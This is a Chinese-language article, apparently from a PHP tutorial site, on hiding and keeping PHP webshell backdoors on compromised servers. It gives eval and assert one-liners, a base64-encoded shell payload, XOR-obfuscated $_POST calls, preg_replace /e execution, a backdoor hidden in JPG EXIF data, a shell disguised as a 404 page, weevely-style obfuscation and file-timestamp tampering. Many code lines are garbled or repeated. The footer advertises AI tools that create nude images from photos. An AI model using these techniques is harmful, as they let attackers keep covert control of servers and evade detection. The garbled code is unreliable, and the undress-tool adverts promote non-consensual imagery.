PHP後門隱藏與維持技巧
在一個成功的測試後,通常會想讓特權保持的更久些.留後門的工作就顯得至關重要,通常佈設的後門包括但不限於數據庫權限,WEB權限,系統用戶權限等等.此文則對大眾後門隱藏的一些思路做科普。
AD:
0×00前言
在一個成功的測試後,通常會想讓特權保持的更久些.留後門的工作就顯得至關重要,通常佈設的後門包括但不限於數據庫權限,WEB權限,系統使用者權限等等.此文則對大眾後門隱藏的一些思路做科普.
以PHP-WEBBACKDOOR為例,拋磚引玉
一個最常見的一句話後門可能寫作這樣
- eval($_POST['cmd']);?>
或這樣
- 或這樣 _ ?>
但是運維直觀尋找我們shell的方式也有很多,如
透過檔案名稱/修改時間/大小,檔案備份比對發現異常
◆透過WEBSHELL後門掃描腳本發現,如Scanbackdoor.php/Pecker/shelldetect.php以及各種掃描器等等
◆透過Access.log訪問日誌發現後門所在
◆又或者,我們的測試一句話還要被WAF攔一下,再來個警告日誌,等等
針對常見的檢測方式,總結以下七常用手法對shell進行隱藏
◆常見的關鍵字如:
◆常見的關鍵字如:系統指令執行: system, passthru, shell_exec, exec, popen, proc_open
- ◆程式碼執行: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot64_decode, gzinflate, gzuncompress, file_get_contents, file_put_contents, fputs, fwrite
- 過去有朋友機智的使用$_POST[0]($_POST[1])來執行命令,
- 過去有朋友機智的使用$_POST[0]($_POST[1])來執行命令,過去有朋友機智的使用$_POST[0]($_POST[1])來執行命令,過去有朋友機智的使用$_POST[0]($_POST[1])來執行命令, tudouya 同學在FREEBUF上給出[一種構造技巧](http://www.freebuf.com/articles/web/33824.html)利用
- @$_++++@$_++++; // $_ = 1
- $__=("#"^"|"); // $__ = _ "~"); // _P
- $__.=("/"^"`"); "|"^
- "/"); // _POS $__.=( "{"^
- "/"); $__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]); ?
- 構造生成,當然,嫌太直觀可以寫作這樣$_++;$__=("#"^"|").("."^"~ ").("/"^ "`").(
- "|"^ "/").(
"/");@${
$__}[!- $ _](${
- $__}[$_]);?> ”免殺」shell樣本就出現了執行無誤,且繞過普通掃描器,也可依賴之寫新的臨時shell 0×02特性
有趣的手法.借用php在處理變數時的語法特性,會分析雙引號中的資料是否含有變數(並解析其值)
${@
eval(phpinfo())} ${@- eval(phpinfo())}
- {}可解析雙引號內的變數內容,@保持出錯後繼續執行
然後就可以大搖大擺的開始構造隱藏後門了,但此處構造欲再藉力於函數引起的命令執行,沒錯,就是preg_replace
"//e",- function funfunc($str){}
-
echo puncreg_replace(I"/
( ")', $_POST["cmd"]); ?> - {對正的phpinfo()}}傳入funfunc時引起了程式碼執行
"{${phpinfo()}}")
0×0333包含在內的方法包含在內的方法只是包含也有技巧
普通文件包含可能僅僅是一個include包含某個txt或jpg,甚至直接留一個包含漏洞,但掃描器也容易發現,多出的包含文件也易被發現
看此腳本
- if(@isset(
- $_GET[content]))
- ME','w');
- file_put_contents('README',"
- fclose( $fp);
- require 'README';}由於file_put_contents等函數過於敏感,也是很容易被掃描發現編碼產生的方式創建shell,隨訪問而生成. fputs(隨訪問而產生.fputs(fopen(base64_decode('cGx1Z2120Gx1Z2' base64_decode('PD9waHAgQGFzc2VydCgkX1BPU1RbJ2NtZCddKTs/Pg=='));;
?文件也要做簡單的隱藏以躲過查殺.
- php
- $exif=exif_read_data('./lol.jpg');preg_replace($exif['Make'],$exif['Model'],''); 參考:一種隱藏在JPG圖片EXIF中的後門
- 這次不必再簡單的copy /b生成圖片馬了,借用preg_replace執行文件的特定標誌一樣可行
可能會提示Call to undefined function exif_read_data()
需要修改php.ini, extension=php_exif.dll
將其載入順序改為extension=php_mbstring.dll的後面
- 借助了preg_replace e參數,依賴了php的變量解析執行,又使用了base64編碼,最後依賴文件標識將一個完整的shell拼合,算是給初涉後門隱藏的童鞋一個小提醒當然,只要有包含點,包含文件的形式是多樣的,甚至於包含error_log(雖然可能要考慮閉合),只有想不到…0×04隱匿為了不讓訪問者發現後門的存在,機智的安全研究員也會混淆視聽故弄玄虛
- HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
-
Not Found
-
- @preg_replace("/[checksql]/e",$_POST['cmd'],"saft"); ,瀏覽頁面已經開始偽裝404以迷惑視聽了
-
HTTP/1.1 404');
ob_start();- @ fputs(
- fopen(p64_de decode('PD9waHAgQGFzc2VydCgkX1BPU1RbJ2NtZCddKTs/Pg=='));
- ob_end_clean(); ?> 訪問 0×05混淆 用過weevely工具的童鞋應該知道,其產生的免殺shell像這樣
$penh=
" kpgiKTtlY2hvICc8LycgiuJgiGsugiJz4nO30=";"JGEpPjgiMpeyRrPSgidwcyc7ZWNobyAnPCcgiugiJGsuJz4nOgi2V2YWwoYgimFzZTY0X2giRlY2gi9kgiZShwcmVn";
"w","",
"stwrw_wrwepwlwawcwe");- cmwmmmm LCgicvXHMvJyksIGFycmF5KCcnLCcrgiJyk";
- $zrmt="JGM9J2NvdWgi50JzskgiYT0gikX0NgiPT0tJRgiTtpZihyZXNldCgkYSk9PSgidvbycggiJgiiYgJGMo smgv = $ftdf( "f",
- "", "bfafsfef6f4_fdfefcodfe"); ftdf("l","","lclrlelaltel_functlilon");
- = ("gi", "", $zrmt.
- $kthe.$wmmi.$penh))); $rdwm();
- ? 終端下連接後像這樣Ps:截圖忘記修改終端編碼了:( 其免殺方式在於,在固定區域生成隨機名稱變量,後借助str_replace拼合base64_decode,執行命令的過程
- 當然在程式碼層面混淆視聽以躲過掃描器更常用的混淆視聽的方法:◆修改文件時間◆改名融入上傳後所在資料夾,讓人無法直觀看出文件時間◆文件大小的偽裝處理(至少看起大小像正常腳本) ◆選好藏身路徑並儘量少的訪問
- ◆畸形目錄%20關於空格目錄,還是相對容易被發現的關於空格目錄,還是相對容易被發現的關於空格目錄,還是相對容易被發現的關於空格目錄,還是相對容易被發現的關於空格目錄,還是相對容易被發現的關於空格目錄,還是相對容易被發現的
如:AddType application/x-httpd-php jp
0×07雜糅
總結以上方法,大部分無非是一個構造漏洞的過程,漏洞構造的代碼能有多奇葩,後門就可以多奇葩.可以寫纖細婉約的,也可以搞簡單粗暴的,只是適用場合不同而已.如能很好的融合思路,構造自己的隱藏shell想來亦非難事.以上僅為總結經驗之談,各位有有趣的想法還望不吝賜教.
以上就介紹了PHP後門隱藏與維持技巧,包括了方面的內容,希望對PHP教程有興趣的朋友有所幫助。

熱AI工具

Undresser.AI Undress
人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover
用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool
免費脫衣圖片

Clothoff.io
AI脫衣器

Video Face Swap
使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱門文章

熱工具

記事本++7.3.1
好用且免費的程式碼編輯器

SublimeText3漢化版
中文版,非常好用

禪工作室 13.0.1
強大的PHP整合開發環境

Dreamweaver CS6
視覺化網頁開發工具

SublimeText3 Mac版
神級程式碼編輯軟體(SublimeText3)

PHP 8.4 帶來了多項新功能、安全性改進和效能改進,同時棄用和刪除了大量功能。 本指南介紹如何在 Ubuntu、Debian 或其衍生版本上安裝 PHP 8.4 或升級到 PHP 8.4

Visual Studio Code,也稱為 VS Code,是一個免費的原始碼編輯器 - 或整合開發環境 (IDE) - 可用於所有主要作業系統。 VS Code 擁有大量針對多種程式語言的擴展,可以輕鬆編寫

JWT是一種基於JSON的開放標準,用於在各方之間安全地傳輸信息,主要用於身份驗證和信息交換。 1.JWT由Header、Payload和Signature三部分組成。 2.JWT的工作原理包括生成JWT、驗證JWT和解析Payload三個步驟。 3.在PHP中使用JWT進行身份驗證時,可以生成和驗證JWT,並在高級用法中包含用戶角色和權限信息。 4.常見錯誤包括簽名驗證失敗、令牌過期和Payload過大,調試技巧包括使用調試工具和日誌記錄。 5.性能優化和最佳實踐包括使用合適的簽名算法、合理設置有效期、

字符串是由字符組成的序列,包括字母、數字和符號。本教程將學習如何使用不同的方法在PHP中計算給定字符串中元音的數量。英語中的元音是a、e、i、o、u,它們可以是大寫或小寫。 什麼是元音? 元音是代表特定語音的字母字符。英語中共有五個元音,包括大寫和小寫: a, e, i, o, u 示例 1 輸入:字符串 = "Tutorialspoint" 輸出:6 解釋 字符串 "Tutorialspoint" 中的元音是 u、o、i、a、o、i。總共有 6 個元

本教程演示瞭如何使用PHP有效地處理XML文檔。 XML(可擴展的標記語言)是一種用於人類可讀性和機器解析的多功能文本標記語言。它通常用於數據存儲

靜態綁定(static::)在PHP中實現晚期靜態綁定(LSB),允許在靜態上下文中引用調用類而非定義類。 1)解析過程在運行時進行,2)在繼承關係中向上查找調用類,3)可能帶來性能開銷。

PHP的魔法方法有哪些? PHP的魔法方法包括:1.\_\_construct,用於初始化對象;2.\_\_destruct,用於清理資源;3.\_\_call,處理不存在的方法調用;4.\_\_get,實現動態屬性訪問;5.\_\_set,實現動態屬性設置。這些方法在特定情況下自動調用,提升代碼的靈活性和效率。
